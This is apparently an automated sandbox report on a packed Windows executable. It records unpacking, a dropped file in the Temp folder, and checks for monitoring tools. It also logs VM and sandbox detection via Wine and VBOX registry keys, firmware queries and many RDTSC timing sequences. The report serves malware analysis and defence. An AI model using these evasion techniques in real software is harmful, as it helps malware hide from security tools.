Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 2899968 > 1048576

Source: file.exe

Static PE information: Raw size of kbbaetih is bigger than: 0x100000 < 0x298a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.7d0000.0.unpack :EW;.rsrc :W;.idata :W;kbbaetih:EW;qffjrseg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;kbbaetih:EW;qffjrseg:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: real checksum: 0x2b932c should be: 0x2078f2
Source: file.exe	Static PE information: real checksum: 0x2c8499 should be: 0x2c53fd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: kbbaetih
Source: file.exe	Static PE information: section name: qffjrseg
Source: file.exe	Static PE information: section name: .taggant
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name:
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name: .idata
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name: qvmkysan
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name: pmlcwwlz
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_055B5474 push ecx; ret	0_3_055B5475
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F244D9 push FFFFFF80h; ret	0_3_00F244FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F244D9 push FFFFFF80h; ret	0_3_00F244FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F244D9 push FFFFFF80h; ret	0_3_00F244FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F28C8F push ebx; retf	0_3_00F28C90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F28C8F push ebx; retf	0_3_00F28C90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F2566D push ecx; ret	0_3_00F2566E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F2566D push ecx; ret	0_3_00F2566E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F2566D push ecx; ret	0_3_00F2566E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25619 push FFFFFF80h; ret	0_3_00F2563D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25619 push FFFFFF80h; ret	0_3_00F2563D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25619 push FFFFFF80h; ret	0_3_00F2563D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25619 push FFFFFF80h; ret	0_3_00F2563D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F244D9 push FFFFFF80h; ret	0_3_00F244FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F244D9 push FFFFFF80h; ret	0_3_00F244FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F244D9 push FFFFFF80h; ret	0_3_00F244FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25C91 push FFFFFF80h; ret	0_3_00F25CB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F24797 push ecx; ret	0_3_00F2479A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F24797 push ecx; ret	0_3_00F2479A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F28C8F push ebx; retf	0_3_00F28C90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F28C8F push ebx; retf	0_3_00F28C90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F22830 push ecx; ret	0_3_00F22831
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F22830 push ecx; ret	0_3_00F22831
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00F25619 push FFFFFF80h; ret	0_3_00F2563D

Source: file.exe	Static PE information: section name: entropy: 7.981943895148221
Source: G5E9NUKC2KTUY7LAVOIZ5RDE8.exe.0.dr	Static PE information: section name: entropy: 7.8025611797323995

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\G5E9NUKC2KTUY7LAVOIZ5RDE8.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1E4B second address: 9A1E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1E53 second address: 9A1E72 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8AE47DB006h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F8AE47DB008h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 push ebx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1E72 second address: 9A1E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0D8F second address: 9A0DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AE47DB015h 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F8AE47DB010h 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1089 second address: 9A10A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8AE47565F6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8AE4756600h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A13D2 second address: 9A13DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A13DA second address: 9A13E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A13E0 second address: 9A13E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A1577 second address: 9A157B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A157B second address: 9A159A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB016h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A159A second address: 9A15C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8AE47565FCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8AE4756603h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3DFE second address: 9A3E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A3E02 second address: 9A3E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4031 second address: 9A4042 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8AE47DB008h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A4257 second address: 9A4269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47565FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C41C2 second address: 9C41D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 ja 00007F8AE47DB006h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C44A4 second address: 9C44AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C45FA second address: 9C45FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C475E second address: 9C478E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE4756600h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AE4756607h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C478E second address: 9C4792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4792 second address: 9C47AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756607h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C47AD second address: 9C47CD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8AE47DB016h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C47CD second address: 9C47D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4904 second address: 9C490E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8AE47DB006h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C490E second address: 9C4971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AE4756607h 0x0000000b jl 00007F8AE4756602h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jmp 00007F8AE4756606h 0x0000001c jp 00007F8AE47565F6h 0x00000022 jmp 00007F8AE4756601h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4971 second address: 9C4988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47DB013h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BE2 second address: 9C4BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BE6 second address: 9C4BFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB010h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4BFD second address: 9C4C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F8AE47565F6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C4C10 second address: 9C4C16 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC1F0 second address: 9BC219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AE47565FAh 0x00000011 jmp 00007F8AE4756603h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC219 second address: 9BC23E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F8AE47DB008h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC23E second address: 9BC249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F8AE47565F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990DC1 second address: 990DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5A04 second address: 9C5A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5B52 second address: 9C5B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5B5A second address: 9C5B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5B61 second address: 9C5B75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F8AE47DB006h 0x00000009 jnl 00007F8AE47DB006h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA263 second address: 9CA269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D01C5 second address: 9D01E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF68E second address: 9CF693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF693 second address: 9CF69D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F8AE47DB006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF69D second address: 9CF6A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF815 second address: 9CF81B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFB11 second address: 9CFB15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFD90 second address: 9CFD96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFD96 second address: 9CFDA7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AE47565FBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFDA7 second address: 9CFDAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFDAE second address: 9CFDC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8AE47565F6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFDC0 second address: 9CFDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F8AE47DB021h 0x0000000f jmp 00007F8AE47DB015h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFDE6 second address: 9CFDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFF3C second address: 9CFF42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5269 second address: 9D5277 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5277 second address: 9D527D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D527D second address: 9D5281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D596F second address: 9D5985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8AE47DB00Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D59D6 second address: 9D5A03 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AE475660Eh 0x00000008 jmp 00007F8AE4756608h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007F8AE47565F6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A03 second address: 9D5A07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A07 second address: 9D5A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A0D second address: 9D5A3E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 mov dword ptr [ebp+122D27AFh], eax 0x0000000f nop 0x00000010 pushad 0x00000011 jbe 00007F8AE47DB00Ch 0x00000017 push ebx 0x00000018 jo 00007F8AE47DB006h 0x0000001e pop ebx 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jnp 00007F8AE47DB006h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A3E second address: 9D5A48 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AE47565F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A48 second address: 9D5A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5A4E second address: 9D5A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5D36 second address: 9D5D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7F05 second address: 9D7F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F8AE47565F8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 sbb edi, 552C324Ch 0x00000027 push 00000000h 0x00000029 sub dword ptr [ebp+122D1D1Eh], edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F8AE47565F8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b jmp 00007F8AE4756605h 0x00000050 push eax 0x00000051 pushad 0x00000052 jmp 00007F8AE4756606h 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9FDD second address: 9D9FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D86DE second address: 9D86E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9FE1 second address: 9D9FE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA0A7 second address: 9DA0AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
